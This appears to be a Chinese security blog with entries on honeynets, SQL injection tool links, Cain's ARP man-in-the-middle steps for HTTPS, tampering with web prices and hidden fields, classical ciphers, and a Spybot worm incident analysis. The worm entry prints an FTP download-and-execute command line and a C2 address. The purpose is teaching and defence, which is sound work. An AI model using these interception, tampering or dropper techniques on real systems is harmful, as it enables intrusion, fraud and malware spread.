把内容归拢一下吧,蜜网是架设在网关处的一设备,通常是用来研究的,和生产网隔离,所有蜜罐经过蜜网直接暴露在互联网,对攻击者造成诱惑,从而引起被攻击,我们通过数据控制避免黑客利用蜜罐攻击外网,但又要适中,避免怀疑,利用捕获机制来获取他们的行为,最后汇总数据用web gui来分析。

蜜罐的价值在于被攻陷,但漏洞要结合自己的需求去暴露,不能太多,否则引起大量脚本小子和自动攻击工具、蠕虫的泛滥,那么这些垃圾行为并不会有太多研究意义。

而且蜜罐的发展过程中,形成了不同类型的技术,此次介绍的是高交互物理机器类型。还有就是侧重网络行为的低交互类型,以Honeyd为代表,他可以虚拟任意服务和IP数量以及网络拓扑,在研究网络行为时非常有价值。

五、相关资源

 

Honeynet Project : http://www.honeynet.org

version 1.4 of the Honeywall CDROM.: https://projects.honeynet.org/honeywall/

Chinese Honeynet Project :http://www.honeynet.org.cn

Sebek homePage:http://www.honeynet.org/tools/sebek/

Sebek 3: tracking the attackers :http://www.securityfocus.com/infocus/1858

又一款 SQL Injection tools

     Data-mining with SQL Injection and Inference - David Litchfield <davidl@ngssoftware.com> [2005-09-30]
     http://www.ngssoftware.com/papers/sqlinference.pdf
     BSQL Hacker
     http://labs.portcullis.co.uk/application/bsql-hacker/
     http://labs.portcullis.co.uk/download/BSQLHackerSetup-0907.exe
     http://code.google.com/p/bsqlhacker/
     http://code.google.com/p/bsqlhacker/source/checkout (SVN)
     Deep Blind SQL Injection
     http://labs.portcullis.co.uk/application/deep-blind-sql-injection/
     http://labs.portcullis.co.uk/download/Deep_Blind_SQL_Injection.pdf
     Building the bridge between the web app and the OS: GUI access through SQL Injection - [2008-03-31]
     http://labs.portcullis.co.uk/content/gui-access-through-sql-injection/
     http://labs.portcullis.co.uk/download/Revelli-OwaspDay2-Rome.pdf

2008/08/16

两个web在线工具

 

 

 

url: www.netcraft.com 

作用:查询web站点运行的服务器类型。结果如下:

image

不过这个可以用httpPrint之类的工具检查,但它可以提供一些趋势统计,在培训或者其他活动中可参考应用

 

 

http://www.myipneighbors.com/ 

作用:查询子域名,速度很快

2008/08/05

加密协议的几个应用工具和例子

今天在公司内部BBS上发现几个同事讨论关于如何分析HTTPS的问题,其中涉及到几个古老工具,但还是有用,以后可以作为培训案列和演示使用。

几个工具,分析和加密。

1.通过 stunnel 制作C/S的加密应用,避免被窃取网络明文。

实例如下:

科来网络分析系统与stunnel结合使用

使用 syslog-ng 和 stunnel 创建集中式安全日志服务器

 

2.HTTP Analyzer 用单独模式和IE插件模式,可以查看HTTP包括HTTPS的传输内容,介绍和截图如下:

IEInspector HTTP Analyzer is such a handy tool that allows you to monitor, trace, debug and analyze HTTP/HTTPS traffic in real-time. It is used by industry-leading companies including Microsoft, Cisco, AOL and Google.

 

3. achilles 是个古老的工具,可以设置自身为代理,在IE上设置127.0.0.1和端口号即可,观察https的内容了,也可以更改后发送。

image

4.关于如何通过cain设置arp中间人获取HTTPS内容的方法和步骤来自 APR-HTTPS 

1) The HTTPS filter is enabled by the user in the configuration dialog

2) APR is enabled by the user using the button on the toolbar -> the Man-in-the-Middle attack is ready

3) The victim client starts a new session to an HTTPS enabled server (e.g. https://login.passport.com)

4) Packets from the client are hijacked by APR and captured by Cain's sniffer by mean of Winpcap driver

5) APR-HTTPS search for a fake certificate associated to the requested server in the Certificate Collector; if present the certificate will be used if not it will be automatically downloaded, properly modified and stored locally for future usage .

6) Packets from the victim are modified so that they are re-directed to the local acceptor socket; modifications are made on MAC addresses, IP addresses and TCP source ports (Port Address Translation "PAT" is used to handle multiple connections). The data captured is then sent again into the network using Winpcap but it is this time addressed to the local socket that will accept the Client-side connection.

7) The Server-side socket is created and connected to the real server requested by the victim.

8) OpenSSL libraries are used to manage encryption on both sockets using the fake certificate victim-side and the real certificate sever-side.

9) Packets sent by the Client-side socket are modified again to reach the victim's host.

10) Data coming from the server is decrypted, saved to session files, re-encrypted and sent to the victim host by mean of the Client-side socket.

11) Data coming from the client is decrypted, saved to session files, re-encrypted and sent to the server by mean of the Server-side socket.

2008/06/17

web攻击类的临时记录-02

基于web“状态”攻击

 

     所谓状态,是指web服务器的页面顺序,一般公开类的,比如新闻、博客、论坛都无所谓顺序,而电子商务类的,则必须保证页面必须按照一定顺序浏览,比如选择货物、结帐、刷卡等。

攻击方式一:隐藏域的方式来存储数据,如<input name= "id" value="58" type="hidden">,查看源码和修改可参考上一篇《web攻击类的临时记录-01》我提到过的方法和工具,危害不言而喻是很大的,比如隐藏域中如果包括了价格信息,那么找到后直接修改很低或者负数(意味着会倒贴钱给我)再提交给服务端。

攻击方式二:CGI参数方式传递给下一个页面,这个则更赤裸了,直接在地址栏里修改即可,比如http://xxx.com/detail.asp?e=123&price=488&cat=390,直接更改price为10即可。

CGI参数在很多网站都使用,包括多种类型,比如布尔型,用0和1判断是否注册用户,语言版本、新闻ID等,而这个是没有直接危害的。

攻击方式三:cookie方式,包括本地文件类型和会话型内存保存,本地型能直接文本工具修改,会话行用更高级工具也可以修改,关键是了解cookie格式。

攻击方式四:URL跳跃式攻击,在严谨的商务站点页面是必须按照一定顺序来浏览的。可以利用HTTP报文头的referer字段,来限制本页面的上一个URL。,通过工具来浏览页面,比如fiddler或paros 之类,会发现返回报文中的referer:http://xxx.com/link.asp ,这个也能修改,用paros 。 攻击有两种情况,一个用户帐号被另一个攻击者获取使用,攻击者使用跳跃式URL攻击,这两种情况都可以被服务端发现是采用了相同用户身份标识,但访问顺序很乱,如果能识别那么也可以采取相应措施来禁用此用户标识符。

上面讲的诸多攻击都可用 paros 来实现,可以设置其为本地代理,捕获和控制web传输。

链接和介绍如下:

http://www.parosproxy.org

Paros - for web application security assessment

We wrote a program called "Paros" for people who need to evaluate the security of their web applications. It is free of charge and completely written in Java. Through Paros's proxy nature, all HTTP and HTTPS data between server and client, including cookies and form fields, can be intercepted and modified.

We hope you can benefit from our work and products.

If you want to support our project or obtain formal support from us, please check out the product Milescan Web Security Auditor, which is further developed by our core team member and supported by us as well.

 download

Paros User Guide for Paros v2.x (pdf format)

      总而言之这种攻击的防范方式还是那句古话,在服务端来确定输入的有效性,并且对于敏感重要的信息要加密,在服务端再进行解密。如何避免客户端的篡改配置信息带来的风险,这是个多层次考虑的问题,就前面讲的攻击种类只要配置良好还是可以很好的避免发生:

1.会话变量尽量用cookie,而不用CGI参数、隐藏控制域方式,并且设置cookie

2.会话标识有效时限

3.用户完成浏览后能自动注销并清除会话

4.加密cookie传送通道

web攻击类的临时记录-01

对于校验客户端输入的代码,为避免网络传输造成的延时,会在本地通过脚本来检查。而这样意味着无法控制客户端的操作是否正确,很容易被本地做修改,以下是一些攻击工具和方法的利用。

 

 

下面是相关介绍和链接

http://chrispederick.com/work/web-developer/

 

toolbar The Web Developer extension adds a menu and a toolbar to the browser with various web developer tools. It is designed for Firefox, Flock and Seamonkey, and will run on any platform that these browsers support including Windows, Mac OS X and Linux.

 

测试后,发现效果不错,而且不但可禁用脚本,还可禁用CSS、cookie、图片等,对于测试客户端的状况不错。

Download for Firefox/Flock

Firefox logo Flock logo

 

 

还有一种方法是:把认证页面下载到本地修改源代码,并把其中的相对路径URL改成绝对路径,可以达到目的。

 

最好方法是:文件对象模型DOM,用浏览器提供的接口查询打开的文档,修改其中的值,firefox的插件pageSpy,链接和说明如下:

http://www.sembel.net/

PageSpy: Easy way to show source, analyze forms, query, cookie and more!

Take a Tour

Take a tour

If you are a web developer, a web designer or a tester, you need PageSpy! PageSpy is an invaluable tool that will help you save precious time writing and debugging web pages. It can also help you understand the structure and function of existing pages on the web.
PageSpy screenshot Once installed, PageSpy is added to the context menu of Internet Explorer. You can then right click any web page and analyze its contents in PageSpy. PageSpy will save you time right from your first mouse click: the program displays the page source and navigates directly to the HTML element you clicked.
From here, many useful functions are available. PageSpy can show you the DOM based source as well as the original HTML source. It can also analyze any forms within the web page and show you all the information you need, including the form method, action and all input variables. PageSpy can download external files referenced within the web pages.
It can also execute JavaScript code and run regular expressions within the loaded web page. All in all, PageSpy is packed with useful features that will make your life as a web developer that much easier!
PageSpy is quick and easy to install. Once you have used PageSpy we believe you will wonder how you ever managed without it. However, should you want to remove PageSpy from your machine, it can be completely uninstalled without leaving any residual files. All versions of PageSpy are guaranteed to be 100% free of viruses and spyware. It is quick and doesn’t hang your browser.
The demo version is free and can be downloaded here.
Key Features:

  • Displays original HTML source and DOM based source
  • Navigates to HTML element where web page was clicked
  • Shows non-english text in source code
  • Form analyzer
  • Query analyzer
  • Cookie analyzer
  • Iframes analyzer
  • Frameset analyzer
  • CSS viewer
  • DOM Tree
  • Variables/Objects viewer
  • Runs any JavaScript within loaded web page
  • Regular expression tester
  • Opens external files including flash files

Current version: 2.1.8
Designed for: windows 2000, XP, 2003, Vista
Compiled on April 25, 2008


Download now

 

为避免客户端提交参数错误,一定要在提交后在服务端进行校验,尽管这样会带来性能的下降。

同时在校验时可参考黑白名单的做法,把容易攻击的字符放入黑名单的校验代码中,比如 ' <> -- ;脚本标签和SQL语句select drop update 等,但黑名单变化太多了,很难把所有的全做进去,最理想的是采取白名单,比如输入电子邮件、邮政编码都有其固定的格式特征,用正则式来判断比较理想。

2008/04/21

can't crack webmail password

今天讲解sniffer攻击的时候,在sniff pop3的mail密码后,学员要求对webmail做类似操作,比如hotmail yahoo.com等

我拿foxmail.com做了例子测试,webmail(foxmail)的sniffer获取,由客户端提交给服务端的报文里,可发现如下被加密的HASH值
6E609767992A6EAC1033348010E1AA14uSFfvbMWzYsgbivwMZiybEvysLWEL2ae13794378

也就是说,即使被sniff攻击了,也看不到plaintext,看了看foxmail页面的源码,发现是客户端加密,代码如下:
function CalPassword()
{
        //alert(S("rankey").value);
    try
    {
        S("p").value = hex_md5(hex_md5(S("user_password").value) + S

("rankey").value) + S("rankey").value;
    }catch(e)
    {
         return false;
    }
    S("user_password").name = "";
    S("user_password").value= "";
    return true;
}
被加密2次,并加入了变量的关键字,说明不可逆破。

2008/04/13

经典加密的几个例子

by bk
20:31 2008-4-11
in Libyan

密码学的安全原则是:付出大于回报

二战时期美英联军破解了德国、日本的密码,对制胜起到了重大作用。

密码学例子:

隐藏法:
早期的希腊人使用一种秘密书写的方法,先将luli的头发剃光,然后把消息刻在头上,等头发长好了再派其上路。消息并没编码而是隐藏了。

换位加密法:
斯巴达克人士最早将加密技术用于军事消息传递的人之一,他们发明了一种skytale的工具,这是一根有固定面的竿,把一块布或羊皮缠在上面然后书写消息,当不解开后,字母顺序变乱了,要还原明文必须把布缠绕到skytale工具上。

恺撒加密法:
把明文中的每个字母用其右边的第四个字母代替
ABCDEFGHIJKLMNOPQRSTUVWXYZ
     ABCDEFGHIJK.......
破解:尝试不同组合匹配,看是否能组合成有意义的单词
关键词加密法(15世纪欧洲政府仍然依赖于这种弱加密法):
1.选择一个没有重复字母的关键词,如magicnet
2.那么构建了如下密码表
a    b    c    d    e    f    g    h    i    j    k    l    m    n    o    p    q    r    s    t    u    v    w    x    y    z
m    a    g    i    c    n    e    t    b    d    f    h    j    k    l    o    p    q    r    s    u     v    w   x     y    z
     明文(plaintext):help i am lost
     密文(ciphertext):tcho b mj hlrs
加密(encryption)
还原(recover)
解密(decryption)

破解:最直接的是把字典里所有单词进行穷举破解
           另一个方法,语言中的每个字母都有其自身的特性,如果t被替换为m,那么在密文中m具有t的特性,特性包括出现的频率、与其他字母的联系、在单词中的位置等。在英语中出现频率最高的是字母e,而x和z很少出现。另一个特征是双联字母,比如th、he、er字母对经常一起出现,观察密文出现最多的字母对,最终找出关键词即可破解密文。

其他经典加密法:仿射加密法、多文字加密法、单码加密法、多码加密法、Nihilist加密法、圆柱面加密法、回转轮加密法、Enigma加密法、多图加密法、

现代加密:DES ,脆弱,已经不用了。

公钥加密:
经典加密和现代加密中,密钥用来加密和解密,但它的发布成为弱点,一旦泄露则所有密文公开。而且需要多对加密的密钥,比如电话机如果需要加密,则需要和所有人建立不同密钥,意味着需要多对电话才能保密。
公钥用来加密,私钥用来解密。
公钥系统的要求:
容易生成公钥和私钥;
容易加密和解密;
从公钥很难得出私钥;
利用密钥和公钥很难得出明文。‘

image

每个用户可创建自己的公钥和私钥,并可用于数字签名。

RSA 以发明者命名:Rivest、Shamir、Adleman
基于指数加密概念,首先将明文字符的ASCII二进制转成相等的整数,计算它的e次冥,再对n取模,得出密文
其中e和n的值就是加密法的密钥。
解密:用另一个密钥d来解密,通过公式计算

  image

对称密码缺陷:Require multiple key communication,and key management is trouble,not security.

  哈希加密技术主要用于数据完整性校验,不是用来保密的,因为理论上是无法逆向破解的,当然MD5已被破解了。

2007/09/18

从spybot病毒分析找出中大型网络的安全瓶颈

author:bobkey.spaces.live.com

date:2007.3.28

在大型企业中如何解决病毒爆发,是很有挑战性的,也能看出一个企业目前的安全瓶颈,如果不合理,即使堆积再多的安全产品也无益,这又要考虑上升到安全管理的角度,怎么去看待风险和资产、应用的关系,哪些是可接受的,哪些又是致命的?


一、蠕虫病毒测试运行分析

对于采集的病毒样本,在测试环境进行了运行分析:

运行Gpfaqg.exe,动作如下:

1. 首先检查是否运行监控类软件,会提示:“A monitor program has been found running in your system.Please,unload it from memory adn restart your program.”接着在SystemRoot\system32生成一个exe文件,我测试了几次,每次生成的都不同,比如wbjgav.exe,并且不能在虚拟机Vmware上运行,会提示失败,显然病毒作者故意设计的,其实在真实机器上又如何,只要对其运行严密监控,无所谓的。

2. 在注册表启动项生成字符串值,名称为Microsoft Updates,内容则是刚在系统目录生成的exe文件wbjgav.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

3. 然后用wbjgav.exe调用蠕虫本体文件Gpfaqg.exe连接到Internet

4. 打开并查询两个和网络相关的注册表键值,一旦发现网络有效,马上停止查询,开始和它的主子,IP为211.169.249.223(为韩国的地址)的地址,端口为TCP5900建立连接,这里通过sniffer报文可以看到蠕虫发送了本机的操作系统版本信息以及网络参数,和需要扫描的网段、自己的线程数等信息,控制机器则反馈下达的指令,这个连接会持续,蠕虫进程将陆续向其主子反馈当前信息。
scanall random port scan started on 192.168.x.x:445 with a delaly of 5 seconds for 800 minutes using 100 threads
HKLM\System\CurrentControlSet\Services\NetBT\Linkage HKLM\System\CurrentControlSet\Services\NetBT\Linkage\Export

5. 接着蠕虫调用100个线程发送报文,目标地址是本段ip的B类,乱数生成的随机地址,目标端口为TCP的445和2697,每个报文字节为62,每秒大概80个报文。

6. 如上过程一直持续,对网络发送大量垃圾数据,严重降低网络性能,并且通过2967端口(诺顿通信端口)不断发包,使诺顿客户端无法和诺顿服务器连接并下载新的病毒库特征。

7. 对sniffer报文分析,172.16.10.77(蠕虫感染机器)-->172.16.10.80(被攻击者)。发现一旦发生的随机地址存在时,会回应蠕虫的响应,完成tcp的3次握手后,之后对中招的机器发起溢出攻击,成功后可看到如下语句,大意是建立批处理下载一个exe文件并运行 cmd/c echo open 0.0.0.0 42032 >o&echo user 1 >>o & echo get udp9x.exe >>o & echo quit >>o&ftp -n -s:o&udp9x.exe

8. 据光华反病毒研究中心之处可利用如下系统漏洞进行攻击:

利用以下漏洞破坏和传播

分布式组件接口缓冲区溢出 MS03-026

参见 http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx

信使队列远程缓冲区溢出 MS05-017

参见 http://www.microsoft.com/technet/security/bulletin/ms05-017.mspx

ASN.1库多重堆栈溢出漏洞 MS04-007

参见 http://www.microsoft.com/technet/security/bulletin/MS04-007.mspx

即插即用缓冲区溢出 MS05-039

参见 http://www.microsoft.com/technet/security/Bulletin/MS05-039.mspx

工作站缓冲区溢出 MS03-049

参见 http://www.microsoft.com/technet/security/bulletin/MS03-049.mspx

Server服务远程缓冲区溢出 MS06-040

参见 http://www.microsoft.com/technet/security/Bulletin/MS06-040.mspx

多重提供FTPD真实路径漏洞 CVE-1999-0368

参见http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0368

通过破解网络共享弱口令和mIRC传播

以下是蠕虫分析的截图:

未命名6.bmp

图一:启动病毒文件,对于监控环境发现后的报警

未命名.bmp

未命名aa.bmp

图二:启动蠕虫后,产生新的病毒文件,并连接Internet

未命名2.bmp

图三:蠕虫运行后出现在进程列表里,在本机不能上网时,蠕虫监听本机的113tcp端口

未命名3.bmp

图四:在注册表里添加的自启动项

未命名4.bmp

图五:蠕虫进程的调用模块信息

未命名5.bmp

图六:在系统目录的病毒文件属性

未命名7.bmp

图七:在不发作是占用6.1M内存

未命名8.bmp

图八:蠕虫和远程控制主机的完整对话

二、对现场采集数据的分析

2.1 sniffer分析

对于现场采集的sniffer报文数据进行分析,发现和病毒分析的特征一模一样,验证了此病毒的网络行为都是对445、135和2967端口发起攻击。

以下是sniffer的分析数据:

8月23日 9点47分开始进行报文捕获,持续了6分22秒,捕获的数据8493364字节,网络利用率 2%,详细如下表:

Variable

Value

Start capture time

2007-8-23 9:47

Capture duration

06:22.5

Total bytes

8493364

Total packets

103013

Average packet size

82

Bytes per second

22203

Packets per second

269

Average utilization

2%

Line speed

10 Mbps

MAC broadcast packets

409

MAC multicast packets

317

IP packets

103013

IP bytes

8493364

IP broadcast packets

12

IP multicast packets

317

TCP packets

101647

TCP bytes

8336948

UDP packets

828

UDP bytes

116252

ICMP packets

538

ICMP bytes

40164

IPX packets

0

IPX bytes

0

IPX broadcast packets

0

IPX multicast packets

0

其中报文发送最大的IP设备如下:

1.bmp

可以看出172.16.9.51这台机器6分钟时间发送了8M多的数据报文,并且其中目标是30876个ip,大部分为 2个报文,字节总数是132Byte

Address

In Packets

In Bytes

Out Packets

Out Bytes

Total Packets

Total Bytes

172.16.9.51

6780

830736

94849

7511474

101629

8342210

Others

5719

508766

94478

7470612

100197

7979378

ICMP

534

39852

4

312

538

40164

DNS

40

4148

40

3179

80

7327

HTTP

487

277970

327

37371

814

315341

 

分析解码数据,发现是根据本机IP的B类地址乱数方式发送目的端口为445和2967的大量报文,根据TCP协议状态发现大都没有回应,只有少量机器发起了回应,证明攻击成功。

2.2 ISG日志分析

ISG1000的报警日志,没有发现和病毒类似网络行为的报警,在ISG1000的前面还有一台ISA,指定了严格策略,不允许内网机器连接到防火墙外的445之类的端口。此ISG日志对于病毒的信息没有,所以对它的分析仅作参考作用,表明暂时没有发现从内网到外网的攻击记录。

2007-05-27 01:57:16 system crit 00040 VPN 'VPN for IDC-192.168.13.0' from 211.155.27.36 is up.

2007-05-27 01:56:46 system crit 00041 VPN 'VPN for IDC-192.168.13.0' from 211.155.27.36 is down.

2007-05-24 13:45:37 system crit 00027 Multiple login failures occurred for user kddiadmin from IP address 172.16.14.1:1835

2.3 ISS报告分析

ISS入侵保护系统日志分析,可以看到针对windows的攻击居多,而且有些还是04年的漏洞,由于供的日志看不到攻击的源地址和目的地址等详细信息,无法和之前的分析结合,但从其中ASN1_Constr_BitStr_Heap_Corruption windows漏洞攻击可以大致可推断,是蠕虫在发起攻击。

ASN1_Constr_BitStr_Heap_Corruption windows系统攻击

HTTP_cookieOverflow windows IE浏览器攻击

HTTP_Mozilla_Nonascii_URL_BO

MSRPC_RemoteActivate_Bo

Image_BMP_Header_Overflow windows IE浏览器攻击

HTTP_DotDot windows IE浏览器攻击

SSH_ChallengeResponse_Bo

Content_Compound_File_Bad_Extension windows系统攻击

POP_Filename_Overflow

HTTP_IE_Script_HRAlign_Overflow windows IE浏览器攻击

Content_Incorrect_Extension

HTTP_POST_GroupBy windows IE浏览器攻击

LPRng_Format_String

Image_ANI_Header_Overflow

Microsoft_Windows_Shell_Banner windows系统攻击

三、采取措施建议

3.1目前已经采取的措施:

1. 用ISS旁挂在核心汇聚层设备4506上采集攻击数据,并准备在接入层设备3750上安装tp的ips,采取串连方式,只针对目前发现的两种病毒进行封杀,其余的只监控报警;

2. 在ad域服务器上运行脚本,想域内终端枚举注册表固定位置的键值,如存在则写入文件记录中,并kill掉病毒进程;

3. 对每台机器手动方式安装微软操作系统补丁;

4. 更新symantec公司提供的新病毒库特征;

3.2补充意见:

1. 对于安装了补丁的机器,如果是WinXP系统在删除文件后还必须去掉系统还原功能:右键单击我的电脑图标,选择“属性”,在出现的对话框中点“系统还原”标签,把“在所有驱动器上关闭系统还原 ”前的勾去掉,确定退出;

2. 屏蔽本机的135、445、139、2967端口,针对此可以在控制面板->管理工具->本地安全策略->IP安全策略中,制定针对攻击目标端口封堵的策略

3. ISG防火墙需要严格制定规则,包含6条外线:四条专线,其中两条Internet是电信和网通。对于目前存在的any to any的规则需要分析应用,删除粗颗粒规则并重新制定细颗粒的规则;

4. 对于内网的四大网络,它们之间需要频繁互连,目前应用及其复杂的情况下,没有在互联的路由器上做基本的acl,且没有监控设备,一旦发现病毒暴发也无从控制,所以需要对目前的业务进行调研分析,分配制定合理的网络访问权限,并可以记录网络行为。当然,做网络安全评估和调研需要一个过程,不是可以马上实施的;

5. 对于目前网络的安全状况从技术层面做评估,用扫描器对网络做扫描,直观看到目前的漏洞和安全瓶颈,再制定详细的加固计划;

6. 终端的管理是个长期而复杂的过程,可以采用第三方桌面管理软件,对其做严格控制。